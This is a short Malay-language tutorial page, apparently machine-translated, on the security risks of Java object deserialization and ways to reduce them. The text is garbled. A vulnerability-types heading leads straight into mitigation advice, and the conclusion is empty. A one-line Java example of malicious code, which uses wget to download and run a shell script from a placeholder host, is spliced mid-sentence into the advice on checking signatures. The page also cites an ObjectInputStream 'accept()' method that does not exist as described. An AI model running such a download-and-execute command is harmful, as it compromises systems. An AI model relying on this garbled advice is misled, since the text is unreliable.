Rumah >Java >javaTutorial >Adakah siri Java selamat?
Java Serialisasi Keselamatan
Pengenalan
Java Serialization ialah proses menukar objek kepada aliran bait untuk penyimpanan atau penghantaran. Walaupun bersiri berguna dalam banyak situasi, ia juga mempunyai kelemahan keselamatan yang membolehkan penyerang melaksanakan kod hasad dalam objek bersiri.
Jenis Kerentanan Pensirian
Gunakan senarai putih: Hanya benarkan penyahserikatan kelas yang diketahui selamat.
Sahkan kandungan bersiri:
Sahkan integriti dan tandatangan objek sebelum dinyahsiri.// 恶意代码 Runtime.getRuntime().exec("wget http://example.com/malware.sh && sh malware.sh");
Untuk mengurangkan kelemahan ini, kami boleh mengambil langkah berikut:
Gunakan senarai putih yang sesuai untuk mengehadkan kelas yang dibenarkan untuk penyahserikatan. Gunakan kaedah accept() ObjectInputStream untuk hanya menerima kelas yang dijangkakan. Pertimbangkan untuk menggunakan tandatangan atau penyulitan untuk melindungi objek bersiri.Kesimpulan
Atas ialah kandungan terperinci Adakah siri Java selamat?. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!